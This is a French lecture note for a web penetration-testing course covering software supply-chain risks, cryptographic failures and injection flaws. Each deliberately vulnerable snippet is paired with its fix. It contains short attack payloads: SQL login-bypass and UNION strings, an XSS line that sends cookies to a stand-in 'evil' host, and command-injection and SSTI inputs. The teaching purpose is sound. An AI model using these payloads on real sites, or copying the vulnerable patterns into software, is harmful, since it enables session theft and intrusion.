2026-11-03 — Dépendances, crypto et injection
Contexte
Matière : _Test d’intrusion web · Type : cours (Jour 2/3) · Source : support ESIEA_Audit_Web_Jour2 Précédent : 2026-11-02 — Contrôle d’accès et mauvaises configurations Suite : 2026-11-04 — Design, authentification et robustesse
🎯 Objectifs de la séance
- Comprendre les risques de la chaîne d’approvisionnement logicielle (A03) : dépendances, registres, CI/CD.
- Identifier les défaillances cryptographiques (A04) : hachage des mots de passe, secrets en dur, transport.
- Exploiter et corriger les injections (A05) : SQL, NoSQL, XSS, commandes, SSTI.
Partie 1 — A03 Software Supply Chain Failures
Définition (nouveauté 2025)
Le risque ne vient plus seulement de votre code, mais de vos dépendances, de vos registres et de votre chaîne CI/CD. Impact : exécution de code dès l’installation ou le build, bien avant la prod.
- Dépendances vulnérables ou obsolètes (npm, pip, Maven…).
- Typosquatting & dependency confusion : un paquet malveillant prend la place du bon.
- CI/CD compromise : build, actions tierces, runners, secrets exfiltrés.
- Absence d’inventaire : pas de lockfile, pas de SBOM, pas de signatures.
Dépendances vulnérables & confusion de paquets
| 💥 Problème | 🛡 Correction |
|---|---|
Dépendance obsolète avec CVE connue (ex. lodash 4.17.4) | verrouiller (npm ci respecte le lockfile) et auditer (npm audit, pip-audit) |
Dependency confusion : @maboite/utils introuvable en interne → npm tire la version publique (malveillante) du même nom | registre interne + scope, bloquer la résolution publique, générer un SBOM (CycloneDX) |
Pipeline CI/CD compromis
Un workflow qui exécute du contenu contrôlé par l’extérieur (titre de PR, nom de branche, action tierce non épinglée) peut être détourné pour voler des secrets ou injecter du code.
# 💥 GitHub Actions : le titre (contrôlé par l'attaquant) est interpolé dans le shell
run: |
echo "${{ github.event.issue.title }}"
# 🛡 Passer par une variable d'environnement
env:
T: ${{ github.event.issue.title }}
run: echo "$T"
# + épingler les actions au SHA
# + permissions minimales, secrets non exposés aux PR externesPratique
Pas de lab PortSwigger pour A03. S’entraîner avec
npm audit/pip-auditsur un projet volontairement obsolète, et un dépôt GitHub de test (action non épinglée) en bac à sable.
Partie 2 — A04 Cryptographic Failures
Définition
La donnée sensible finit exposée à cause d’un mauvais stockage, de secrets en dur, d’un transport faible ou d’un aléa prévisible. Règle : la crypto ne s’invente pas, on utilise des primitives éprouvées et bien configurées.
- Mots de passe stockés en clair ou hachés en MD5 / SHA1 (rapides, cassables).
- Secrets en dur dans le code ou les dépôts (clés API, clé de session, mots de passe).
- Transport faible : HTTP, TLS obsolète, chiffrements dépréciés.
- Aléa prévisible : tokens / identifiants de session devinables.
Hachage des mots de passe
MD5 / SHA1 sont rapides : un attaquant teste des milliards de candidats par seconde. Il faut un hachage lent et salé, conçu pour les mots de passe.
# 💥 MD5 : rapide, sans sel → cassable hors ligne
import hashlib
h = hashlib.md5(pwd.encode()).hexdigest()
# 🛡 bcrypt (ou argon2id) : lent + sel intégré
import bcrypt
h = bcrypt.hashpw(pwd.encode(), bcrypt.gensalt())Secrets en dur & transport faible
// 💥 config.js : identifiants et clé JWT commités dans le dépôt
const db = connect({ host: "db.interne", user: "admin", pwd: "P@ssw0rd!" })
const JWT = "secret123"
// 🛡 Hors du code : variables d'environnement ou coffre à secrets
const db = connect({
host: process.env.DB_HOST,
user: process.env.DB_USER,
pwd: process.env.DB_PASS,
})
// + HTTPS partout, TLS ≥ 1.2, HSTSRègle
Aucun secret dans le code (variables d’environnement / coffre), et tout le transport en HTTPS.
Partie 3 — A05 Injection
Définition
Une entrée utilisateur est interprétée comme du code par un moteur en aval. C’est la catégorie la plus fournie et la plus pratiquée. Principe de correction unique : séparer les données du code (paramétrage, échappement).
| Type | Moteur visé |
|---|---|
| SQL / NoSQL | base de données |
| XSS | navigateur d’une autre victime |
| Injection de commandes | shell du serveur |
| SSTI | moteur de templates |
Injection SQL
Une entrée insérée directement dans une requête SQL en modifie la logique : contourner une authentification, extraire des données, parfois lire des fichiers ou exécuter des commandes.
| Technique | Charge |
|---|---|
| Login bypass | ' OR '1'='1' -- |
| UNION | ' UNION SELECT username,password FROM users -- |
| Aveugle (blind) | déduire la donnée via vrai / faux ou le temps de réponse |
| Détection | guillemet, erreur SQL, comportement différent selon l’entrée |
// 💥 Concaténation : l'entrée devient du code SQL
$u = $_GET["user"];
$db->query("SELECT * FROM users WHERE name = '$u'");
// 🛡 Requête paramétrée : données ≠ code
$stmt = $db->prepare("SELECT * FROM users WHERE name = ?");
$stmt->execute([$_GET["user"]]);Règle
Toujours des requêtes paramétrées, jamais de concaténation. Même principe pour le NoSQL (ne pas laisser passer d’opérateurs comme
$ne,$gtvenant du client).
XSS — Cross-Site Scripting
Du HTML/JS contrôlé par l’attaquant est rendu dans le navigateur d’une victime. Impact : vol de session, actions au nom de la victime.
| Type | Où vit la charge | Exemple |
|---|---|---|
| Réfléchi | dans l’URL | ?q=<script>fetch("//evil/"+document.cookie)</script> |
| Stocké | en base (commentaire, profil), rejoué à chaque visite | commentaire piégé |
| DOM | côté client (innerHTML, eval), sans aller-retour serveur | location.search → document.write |
// 💥 Rendu non échappé
res.send(`<p>Bonjour ${req.query.name}</p>`) // ?name=<script>…</script>
el.innerHTML = userInput // côté client
// 🛡 Correction
res.render("hi", { name: req.query.name }) // auto-escape du moteur de templates
el.textContent = userInput // côté client
// + Content-Security-Policy + cookies HttpOnlyRègle
Échapper en sortie selon le contexte + CSP ; côté client,
textContentplutôt queinnerHTML.
Injection de commandes
Une entrée passée à un shell permet d’exécuter des commandes système. Enchaînement avec ; | &&, substitution $(...), exfiltration via DNS / HTTP.
// 💥 ?ip=8.8.8.8;id → exécute id
system("ping -c1 " . $_GET["ip"]);
// 🛡 Valider + échapper (mieux : éviter le shell)
$ip = $_GET["ip"];
if (!filter_var($ip, FILTER_VALIDATE_IP)) exit;
system("ping -c1 " . escapeshellarg($ip));Variante aveugle
Sans retour visible, on détecte l’injection par un délai (
; sleep 10) : c’est le lab Blind OS command injection with time delays.
SSTI — Server-Side Template Injection
Quand une entrée est concaténée au template au lieu d’être passée en variable, le moteur l’évalue, jusqu’à l’exécution de code côté serveur.
Jinja2 : {{ 7*7 }} → 49, puis accès aux objets Python → RCE
# 💥 L'entrée fait partie du template
from flask import render_template_string
tpl = "Bonjour " + name
return render_template_string(tpl) # name = {{7*7}} est évalué
# 🛡 L'entrée est une variable du template
return render_template_string("Bonjour {{ name }}", name=name)
# ou moteur sans logique (logic-less)🧪 Labs du jour
Voir Labs PortSwigger — Test d’intrusion web (A04 : reprend des labs déjà listés ; A05 : 10 labs).
✅ À retenir
- A03 (nouveau) : lockfile + audit + SBOM ; en CI, jamais d’interpolation de données externes dans
run:, actions épinglées au SHA. - A04 : bcrypt / argon2id pour les mots de passe, aucun secret dans le code, HTTPS + HSTS.
- A05 : une seule règle, séparer données et code : requêtes paramétrées, échappement contextuel + CSP, pas de shell, entrée = variable de template.